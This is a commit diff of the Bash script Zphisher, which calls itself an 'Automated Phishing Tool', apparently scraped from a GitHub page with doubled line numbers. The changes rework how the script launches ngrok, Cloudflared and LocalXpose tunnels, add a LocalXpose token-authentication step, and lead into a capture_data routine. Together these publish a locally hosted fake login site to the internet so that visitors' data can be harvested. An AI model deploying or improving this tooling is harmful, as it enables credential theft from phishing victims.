2
2
3
3
# # Zphisher : Automated Phishing Tool
4
4
# # Author : TAHMID RAYAT
5
- # # Version : 2.3
5
+ # # Version : 2.3.1
6
6
# # Github : https://github.com/htr-tech/zphisher
7
7
8
8
89
89
# # TheLinuxChoice - https://twitter.com/linux_choice
90
90
91
91
92
- __version__=" 2.3.0 "
92
+ __version__=" 2.3.1 "
93
93
94
94
# # ANSI colors (FG & BG)
95
95
RED=" $( printf ' \033[31m' ) " GREEN=" $( printf ' \033[32m' ) " ORANGE=" $( printf ' \033[33m' ) " BLUE=" $( printf ' \033[34m' ) "
125
125
126
126
# # Script termination
127
127
exit_on_signal_SIGINT () {
128
- { printf " \n\n%s\n\n" " ${RED} [${WHITE} !${RED} ]${RED} Program Interrupted." 2>&1 ; reset_color; }
129
- exit 0
128
+ { printf " \n\n%s\n\n" " ${RED} [${WHITE} !${RED} ]${RED} Program Interrupted." 2>&1 ; reset_color; }
129
+ exit 0
130
130
}
131
131
132
132
exit_on_signal_SIGTERM () {
133
- { printf " \n\n%s\n\n" " ${RED} [${WHITE} !${RED} ]${RED} Program Terminated." 2>&1 ; reset_color; }
134
- exit 0
133
+ { printf " \n\n%s\n\n" " ${RED} [${WHITE} !${RED} ]${RED} Program Terminated." 2>&1 ; reset_color; }
134
+ exit 0
135
135
}
136
136
137
137
trap exit_on_signal_SIGINT SIGINT
@@ -141,7 +141,7 @@ trap exit_on_signal_SIGTERM SIGTERM
141
141
reset_color () {
142
142
tput sgr0 # reset attributes
143
143
tput op # reset color
144
- return
144
+ return
145
145
}
146
146
147
147
# # Kill already running process
@@ -185,17 +185,17 @@ banner_small() {
185
185
dependencies () {
186
186
echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Installing required packages..."
187
187
188
- if [[ -d " /data/data/com.termux/files/home" ]]; then
189
- if [[ ! $( command -v proot) ]]; then
188
+ if [[ -d " /data/data/com.termux/files/home" ]]; then
189
+ if [[ ! $( command -v proot) ]]; then
190
190
echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Installing package : ${ORANGE} proot${CYAN} " ${WHITE}
191
- pkg install proot resolv-conf -y
192
- fi
191
+ pkg install proot resolv-conf -y
192
+ fi
193
193
194
- if [[ ! $( command -v tput) ]]; then
194
+ if [[ ! $( command -v tput) ]]; then
195
195
echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Installing package : ${ORANGE} ncurses-utils${CYAN} " ${WHITE}
196
- pkg install ncurses-utils -y
197
- fi
198
- fi
196
+ pkg install ncurses-utils -y
197
+ fi
198
+ fi
199
199
200
200
if [[ $( command -v php) && $( command -v curl) && $( command -v unzip) ]]; then
201
201
echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${GREEN} Packages already installed."
@@ -410,20 +410,15 @@ start_ngrok() {
410
410
echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
411
411
{ sleep 1; setup_site; }
412
412
echo -e " \n"
413
- read -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Ngrok Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
414
- opinion=${opinion:= N}
415
- if [[ ${opinion:: 1} == " y" || ${opinion:: 1} == " Y" ]]; then
416
- ngrok_region=" eu" # eu, au, ap, sa, jp, in
413
+ read -n1 -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Ngrok Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
414
+ [[ ${opinion,,} == " y" ]] && ngrok_region=" eu" || ngrok_region=" us"
415
+ echo -e " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
416
+
417
+ if [[ ` command -v termux-chroot` ]]; then
418
+ sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
417
419
else
418
- ngrok_region= " us "
420
+ sleep 2 && ./.server/ngrok http --region ${ ngrok_region} " $HOST " : " $PORT " --log=stdout > /dev/null 2>&1 &
419
421
fi
420
- echo -ne " \n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
421
-
422
- if [[ ` command -v termux-chroot` ]]; then
423
- sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
424
- else
425
- sleep 2 && ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
426
- fi
427
422
428
423
{ sleep 8; clear; banner_small; }
429
424
ngrok_url=$( curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo ' (https)://[^/"]+(.ngrok.io)' )
@@ -435,16 +430,16 @@ start_ngrok() {
435
430
436
431
# # Start Cloudflared
437
432
start_cloudflared () {
438
- rm .cld.log > /dev/null 2>&1 &
433
+ rm .cld.log > /dev/null 2>&1 &
439
434
echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
440
435
{ sleep 1; setup_site; }
441
436
echo -ne " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Cloudflared..."
442
437
443
- if [[ ` command -v termux-chroot` ]]; then
438
+ if [[ ` command -v termux-chroot` ]]; then
444
439
sleep 2 && termux-chroot ./.server/cloudflared tunnel -url " $HOST " :" $PORT " --logfile .server/.cld.log > /dev/null 2>&1 &
445
- else
446
- sleep 2 && ./.server/cloudflared tunnel -url " $HOST " :" $PORT " --logfile .server/.cld.log > /dev/null 2>&1 &
447
- fi
440
+ else
441
+ sleep 2 && ./.server/cloudflared tunnel -url " $HOST " :" $PORT " --logfile .server/.cld.log > /dev/null 2>&1 &
442
+ fi
448
443
449
444
{ sleep 8; clear; banner_small; }
450
445
@@ -455,25 +450,37 @@ start_cloudflared() {
455
450
capture_data
456
451
}
457
452
453
+ localxpose_auth () {
454
+ ./.server/loclx -help > /dev/null 2>&1 &
455
+ sleep 1
456
+ [ -d " .localxpose" ] && auth_f=" .localxpose/.access" || auth_f=" $HOME /.localxpose/.access"
457
+
458
+ [ " $( ./.server/loclx account status | grep Error) " ] && {
459
+ echo -e " \n\n${RED} [${WHITE} !${RED} ]${GREEN} Create an account on ${ORANGE} localxpose.io${GREEN} & copy the token\n"
460
+ sleep 3
461
+ read -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Input Loclx Token :${ORANGE} " loclx_token
462
+ [[ $loclx_token == " " ]] && {
463
+ echo -e " \n${RED} [${WHITE} !${RED} ]${RED} You have to input Localxpose Token." ; sleep 2 ; tunnel_menu
464
+ } || {
465
+ echo -n " $loclx_token " > $auth_f 2> /dev/null
466
+ }
467
+ }
468
+ }
469
+
458
470
# # Start LocalXpose (Again...)
459
471
start_loclx () {
460
472
echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
461
- { sleep 1; setup_site; }
473
+ { sleep 1; setup_site; localxpose_auth ; }
462
474
echo -e " \n"
463
- read -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Loclx Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
464
- opinion=${opinion:= N}
465
- if [[ ${opinion:: 1} == " y" || ${opinion:: 1} == " Y" ]]; then
466
- loclx_region=" eu" # ap / eu
475
+ read -n1 -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Loclx Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
476
+ [[ ${opinion,,} == " y" ]] && loclx_region=" eu" || loclx_region=" us"
477
+ echo -e " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching LocalXpose..."
478
+
479
+ if [[ ` command -v termux-chroot` ]]; then
480
+ sleep 1 && termux-chroot ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t " $HOST " :" $PORT " > .server/.loclx 2>&1 &
467
481
else
468
- loclx_region= " us "
482
+ sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${ loclx_region} --https-redirect -t " $HOST " : " $PORT " > .server/.loclx 2>&1 &
469
483
fi
470
- echo -ne " \n${RED} [${WHITE} -${RED} ]${GREEN} Launching LocalXpose..."
471
-
472
- if [[ ` command -v termux-chroot` ]]; then
473
- sleep 2 && termux-chroot ./.server/loclx tunnel http --region ${loclx_region} -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
474
- else
475
- sleep 2 && ./.server/loclx tunnel http --region ${loclx_region} -t " $HOST " :" $PORT " --https-redirect > .server/.loclx 2>&1 &
476
- fi
477
484
478
485
{ sleep 12; clear; banner_small; }
479
486
loclx_url=$( cat .server/.loclx | grep -Eo ' [-0-9a-z]+.[-0-9a-z]+(.loclx.io)' ) # Somebody fix this crappy regex :(
0 commit comments